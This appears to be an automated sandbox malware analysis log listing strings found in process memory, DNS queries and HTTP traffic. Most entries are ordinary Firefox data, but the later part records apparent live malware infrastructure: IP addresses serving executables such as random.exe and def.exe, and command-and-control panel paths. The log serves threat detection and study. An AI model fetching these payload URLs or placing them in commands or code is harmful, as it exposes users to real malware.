Source: firefox.exe, 00000017.00000002.3187209410.000002A112911000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3187209410.000002A112911000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]]{ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: devtools-commandkey-javascript-tracing-toggleresource://devtools/server/devtools-server.js{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Failed to listen. Listener already attached.WebChannel/this._originCheckCallbackGot invalid request to save JSON data@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNames^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$JSON Viewer's onSave failed in startPersistence@mozilla.org/network/protocol;1?name=defaultUnable to start devtools server on devtools.debugger.features.javascript-tracingreleaseDistinctSystemPrincipalLoaderdevtools/client/framework/devtools-browserdevtools-commandkey-profiler-start-stopbrowser and that URL. Falling back to and deploy previews URLs are allowed.Failed to listen. Callback argument missing.resource://devtools/shared/security/socket.jsDevTools telemetry entry point failed: devtools.performance.popup.feature-flagdevtools.debugger.remote-websocket@mozilla.org/dom/slow-script-debug;1devtools-commandkey-profiler-capturedevtools/client/framework/devtoolsdevtools.performance.recording.ui-base-urlDevToolsStartup.jsm:handleDebuggerFlagFailed to execute WebChannel callback:No callback set for this channel.get FIXUP_FLAG_FORCE_ALTERNATE_URIresource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?http://win.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this typehttp://poczta.interia.pl/mh/?mailto=%s{c6cf88b7-452e-47eb-bdc9-86e3561648ef}@mozilla.org/uriloader/dbus-handler-app;1http://www.inbox.lv/rfc2368/?value=%s^([a-z+.-]+:\/{0,3})*([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)Can't invoke URIFixup in the content process{33d75835-722f-42c0-89cc-44f328e56a86}browser.fixup.domainsuffixwhitelist.Scheme should be either http or httpshttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/DeferredTask.sys.mjsget FIXUP_FLAGS_MAKE_ALTERNATE_URIextractScheme/fixupChangedProtocol<resource://gre/modules/FileUtils.sys.mjsisDownloadsImprovementsAlreadyMigratedget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPgecko.handlerService.defaultHandlersVersionhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/local-handler-app;1_injectDefaultProtocolHandlersIfNeededhttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjs_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1First argument should be an nsIInputStream@mozilla.org/network/simple-stream-listener;1https://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3160186876.000002A11117E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A112336000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A11886E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/9 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3160186876.000002A11117E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A11886E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136254233.000002A10DD91000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135318062.000002A10DABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135318062.000002A10DABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135318062.000002A10DABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3178365976.000002A1121DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A1113D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A1113C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3178365976.000002A1121DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3233031572.00002DF3FB800000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3187767673.000002A112A1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11138A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A1113CA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: home.sevkk17sr.top
Source: global traffic DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs
Source: global traffic HTTP traffic detected: HTTP/1.1 503 Service Unavailablecontent-length: 107cache-control: no-cachecontent-type: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 0a 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>503 Service Unavailable</h1>No server is available to handle this request.</body></html>
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.130.147.211/Files/4.exe
Source: firefox.exe, 00000017.00000002.3128253974.000002A10096B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3212714323.000002A1185A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3194848680.000002A113103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.0000000001475000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000006.00000002.3316723821.00000000015EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.3316723821.00000000015EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exe613954
Source: skotes.exe, 00000006.00000002.3316723821.00000000015EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.execP
Source: skotes.exe, 00000006.00000002.3316723821.00000000015EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exefV
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.0000000001475000.00000004.00000020.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000002.3318093762.000000000146A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.000000000146A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeX
Source: 5a0a40fcc4.exe, 00000009.00000002.3315930993.00000000010FB000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.0000000001475000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exesZ3
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/random.exe
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.0000000001475000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 5a0a40fcc4.exe, 00000009.00000002.3318093762.00000000013C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: eec95b2021.exe, 00000008.00000002.2940799931.000000000170E000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 0000001B.00000002.3143929621.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 0000001B.00000002.3143929621.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: eec95b2021.exe, 00000008.00000002.2940799931.0000000001752000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 00000008.00000002.2940799931.0000000001771000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 0000001B.00000002.3143929621.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 0000001B.00000002.3143929621.0000000000C09000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: eec95b2021.exe, 00000008.00000002.2940799931.0000000001768000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 0000001B.00000002.3143929621.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 0000001B.00000002.3143929621.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 0000001B.00000002.3143929621.0000000000C09000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: eec95b2021.exe, 00000008.00000002.2940799931.0000000001771000.00000004.00000020.00020000.00000000.sdmp, eec95b2021.exe, 0000001B.00000002.3143929621.0000000000C09000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: eec95b2021.exe, 00000008.00000002.2940799931.0000000001752000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj
Source: eec95b2021.exe, 00000008.00000002.2940799931.000000000170E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/x
Source: eec95b2021.exe, 00000008.00000002.2940799931.000000000170E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206N
Source: skotes.exe, 00000006.00000002.3316723821.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpc
Source: skotes.exe, 00000006.00000002.3316723821.00000000015EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/ta
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/84767)
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe08260001
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe131
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe31d
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe3E
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe506238
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe5062384
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe6
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe85
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe98
Source: skotes.exe, 00000006.00000002.3316723821.0000000001597000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exeY
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exe_
Source: skotes.exe, 00000006.00000002.3316723821.0000000001618000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://31.41.244.11/files/random.exeb
